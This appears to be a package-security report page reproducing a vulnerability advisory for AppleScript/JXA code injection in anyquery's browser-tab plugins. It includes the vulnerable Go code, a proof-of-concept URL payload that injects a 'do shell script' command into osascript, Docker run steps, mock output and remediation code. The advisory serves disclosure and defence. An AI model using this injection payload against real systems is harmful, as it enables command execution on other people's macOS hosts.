go package report

Is github.com/julien040/anyquery/plugins/edge safe?

1 known vulnerability, worst severity CRITICAL.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so go packages are not covered.


      cvss
      0.0
      critical

      severity out of 10

      epss
      0.00%
      medium

      chance of exploitation in 30 days, 51st percentile of all CVEs

      xyz score
      not scored

      CyberXYZ composite out of 10

      fig. 01 — GHSA-hrj8-hjv8-mgwc, the advisory selected below

      // 1 advisories

      GHSA-hrj8-hjv8-mgwc

      CRITICALCVE-2026-47252
      // applescript/jxa code injection via unescaped url in macos chrome plugin

      | Field | Value | | ---------------- | ----- | | Repository | julien040/anyquery | | Affected version | 0.4.4 (commit 0abd460) | | Vulnerability | CWE-94 — Improper Control of Generation of Code | | Severity | High |

      // summary

      The chrometabs plugin (and equivalent Brave/Edge/Safari variants) interpolates a SQL-controlled url value directly into an AppleScript template via fmt.Sprintf(newTabScript, url) at plugins/chrome/tabs.go:141 without any escaping, then passes the result to exec.Command("osascript", "-e", ...). An authenticated anyquery user who can issue SQL INSERT INTO chrometabs statements — which requires local CLI access — can break out of the {URL:"..."} property record with a newline-containing payload and inject arbitrary AppleScript statements, including do shell script, achieving OS-level command execution on the macOS host. The same pattern applies to the Update path at tabs.go:169 via the JXA setURL.js script.

      // affected code

      plugins/chrome/tabs.go:141 — SQL-supplied url interpolated unescaped into AppleScript template, then executed via osascript -e

      func (t *tabsTable) Insert(rows [][]interface{}) error {
      	for _, row := range rows {
      		url := "chrome://newtab/"
      		if rawURL, ok := row[2].(string); ok {
      			url = rawURL
      		}
      
      		cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, url))
      		output, err := cmd.CombinedOutput()
      		if err != nil {
      			return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(newTabScript, url))
      		}
      
      	}
      
      	return nil
      }

      plugins/chrome/tabs.go:169 — Update path interpolates url into JXA setURL.js template with identical lack of escaping

      		if url != "" {
      			cmd := exec.Command("osascript", "-l", "JavaScript", "-e", fmt.Sprintf(setURLScript, pk, url))
      			output, err := cmd.CombinedOutput()
      			if err != nil {
      				return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(setURLScript, pk, url))
      			}
      		}

      SQL INSERT url column (row[2]) flows through tabsTable.Insert → fmt.Sprintf(newTabScript, url) → exec.Command("osascript", "-e", ) at tabs.go:141.

      // proof of concept

      Step 1 — Insert a newline-bearing URL via SQL: the generated AppleScript closes the {URL:"..."} property record and appends an injected do shell script "id" block, which is passed verbatim to osascript -e.

      docker build -f Dockerfile -t anyquery-vuln001 .
      docker run --rm anyquery-vuln001 'x"}
      end tell
      do shell script "id"
      tell application "Google Chrome"
              make new tab with properties {URL:"done'
      SQL equivalent: INSERT INTO chrome_tabs (url) VALUES ('')
      where INJECT_URL =
      x"}
      end tell
      do shell script "id"
      tell application "Google Chrome"
      	make new tab with properties {URL:"done
      [sink:tabs.go:141] Script passed to osascript -e:
      tell application "Google Chrome"
              make new tab with properties {URL:"x"}
      end tell
      do shell script "id"
      tell application "Google Chrome"
              make new tab with properties {URL:"done"} at end of tabs of first window
      end tell
      [mock-osascript] Received script:
      tell application "Google Chrome"
              make new tab with properties {URL:"x"}
      end tell
      do shell script "id"
      tell application "Google Chrome"
              make new tab with properties {URL:"done"} at end of tabs of first window
      end tell
      
      RESULT: PASS — injection payload reached osascript -e verbatim; "do shell script \"id\"" present in generated script (tabs.go:141)

      See attached files: Dockerfile, poc/injectdemo.go, poc/go.mod vuln-001.zip

      // impact

      Any local user authenticated to the anyquery CLI who can run SQL against the chrometabs virtual table can achieve arbitrary OS command execution on the macOS host with the privileges of the anyquery process. Because anyquery exposes its SQL interface over an HTTP server (accessible to any user who can reach the endpoint), this can be exploited by any client with INSERT or UPDATE access to the browser-tab plugins, without requiring Chrome credentials or macOS admin rights. The injected AppleScript runs under the user's macOS session, giving access to the file system, keychain prompts, and any application scriptable via Apple Events.

      // remediation

      Escape double-quote and newline characters in the url value before interpolation, or avoid string templating entirely. Specifically in plugins/chrome/tabs.go:

      // Replace fmt.Sprintf(newTabScript, url) with:
      safeURL := strings.ReplaceAll(url, `"`, `\"`)
      safeURL = strings.ReplaceAll(safeURL, "\n", "")
      safeURL = strings.ReplaceAll(safeURL, "\r", "")
      cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, safeURL))

      A more robust fix is to pass the URL as an AppleScript variable declared via a -e prefix argument rather than string-interpolating it into the script body, or to use the osascript argv mechanism so the URL never appears inside the script source. Apply the same fix to fmt.Sprintf(setURLScript, pk, url) at tabs.go:169 for the Update path. Validate that the URL conforms to an allowed scheme (https://, http://, chrome://) before passing it to either handler.

      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

      Attack vector
      Network
      Attack complexity
      Low
      Privileges required
      Low
      User interaction
      Required
      Scope
      Changed
      Confidentiality
      High
      Integrity
      High
      Availability
      High

      Checked 2026-09-26 at 00:59 UTC. The most recent advisory here was published 2026-06-08. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.